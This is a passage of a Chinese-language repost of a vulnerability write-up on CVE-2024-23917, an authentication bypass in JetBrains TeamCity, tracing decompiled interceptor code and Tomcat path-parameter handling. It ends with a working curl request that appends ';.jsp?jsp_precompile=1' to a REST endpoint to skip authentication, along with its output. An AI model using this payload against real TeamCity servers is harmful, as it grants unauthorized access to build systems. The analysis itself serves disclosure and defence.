if (reqStack.size() >= 70 && request.getAttribute("__tc_requestStack_overflow") == null) {
LOG.warn("Possible infinite recursion of page includes. Request: " + WebUtil.getRequestDump(request));
request.setAttribute("__tc_requestStack_overflow", this);
Throwable o = (new ServletException("Too much recurrent forward or include operations")).fillInStackTrace();
request.setAttribute("javax.servlet.jsp.jspException", o);
RequestDispatcher dispatcher = request.getRequestDispatcher("/runtimeError.jsp");
if (dispatcher != null) {
dispatcher.include(request, response);
}
return false;
} else {
if (reqStack.size() == 1) {
Iterator var5 = this.myInterceptors.iterator();
while(var5.hasNext()) {
HandlerInterceptor i = (HandlerInterceptor)var5.next();
if (!i.preHandle(request, response, handler)) {
return false;
}
}
}
-
该
requestPreHandlingAllowed(request)
方法检查是否允许对此请求进行预处理操作。如果不允许,则该方法返回 true,允许请求继续进行而无需进行额外处理。 -
Stack reqStack = this.requestIn(request)
:检索表示与请求相关的某些状态的堆栈,可能跟踪递归。 -
如果
reqStack.size() >= 70
,则表明发生了太多递归操作(转发或包含),暗示出现了无限循环。 -
如果检测到递归,则会记录警告,并
ServletException
抛出一条关于“过多重复前向或包含操作”的消息。 -
If reqStack.size() == 1
,表明这是潜在递归操作堆栈中的第一个请求,代码会遍历 myInterceptors。 -
对于
HandlerInterceptor
中的每个myInterceptors
,它都会对当前请求、响应和处理程序调用 preHandle。如果这些拦截器中的任何一个返回 false,表示它们不允许请求继续,则该方法返回 false。
现在我们很清楚,它RequestInterceptors.java
有一个prehandle()
,它会在内部逐个调用所有其他拦截器。让我们requestPreHandlingAllowed(request)
详细探索一下这个函数,因为这个方法会检查是否允许对给定的请求进行预处理操作。如果有办法让函数requestPreHandlingAllowed(request)
返回“true”,那么就不会运行任何拦截器,包括AuthorizationInterceptorImpl.java
。
File: TeamCity/fern/jetbrains/buildServer/controllers/interceptors/RequestInterceptors.java
158: private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest request) {
159: if (WebUtil.isJspPrecompilationRequest(request)) {
160: return false;
161: } else {
162: return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(request));
163: }
164: }
因此,requestPreHandlingAllowed
内部调用WebUtil.isJspPrecompilationRequest
,从外观上看,检查请求是否为预编译的 JSP。让我们详细探讨一下该函数:
File: TeamCity/fern/jetbrains/buildServer/web/util/WebUtil.java
1649: public static boolean isJspPrecompilationRequest(@NotNull final HttpServletRequest request) {
1650: final String uri = StringUtil.notNullize(request.getRequestURI());
1651: return (uri.endsWith(".jsp") || uri.endsWith(".jspf")) && request.getParameter("jsp_precompile") != null;
1652: }
该方法读取请求路径getRequestURI()
以检查它是否以“.jsp”或“.jspf”结尾,还检查请求是否包含名为的 GET 参数jsp_precompile
,如果是,则该函数返回 true,本质上导致原始 if 条件返回 true,跳过调用拦截器的整个 else 部分。
Tomcat 支持使用;
被视为路径本身的参数。例如:https : //example.com/rest/abc ; a = b ? param = 123 。这里;a=b
被视为路径本身的参数!我们可以在这里滥用该功能,因为它直接读取requestURIWebUtil.isJspPrecompilationRequest
并运行以确定它是否是endsWith()
预编译的请求。
开发
因此,我们可以尝试访问需要身份验证的端点,但我们可以;.jsp在最后传递并添加 GET 参数,这样jsp_precompile=1就可以绕过身份验证并给我们结果。
a0xnirudh@X1 ~/Downloads/teamcity $ curl http://localhost:8111/app/rest/projects;.jsp?jsp_precompile=1
<projects count="2" href="/app/rest/projects;.jsp?jsp_precompile=1"><project id="_Root" name="<Root project>" description="Contains all other projects" href="/app/rest/projects/id:_Root" webUrl="http://localhost:8111/project.html?projectId=_Root"/><project id="Test" name="test" parentProjectId="_Root" href="/app/rest/projects/id:Test" webUrl="http://localhost:8111/project.html?projectId=Test"/></projects>%
https://blog.0daylabs.com/2024/05/27/jetbrains-teamcity-auth-bypass/#exploit
Diving deep into Jetbrains TeamCity Part 1 - Analysing CVE-2024-23917 leading to Authentication Bypass
原文始发于微信公众号(Ots安全):深入研究 Jetbrains TeamCity 第 1 部分 - 分析导致身份验证绕过的 CVE-2024-23917
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论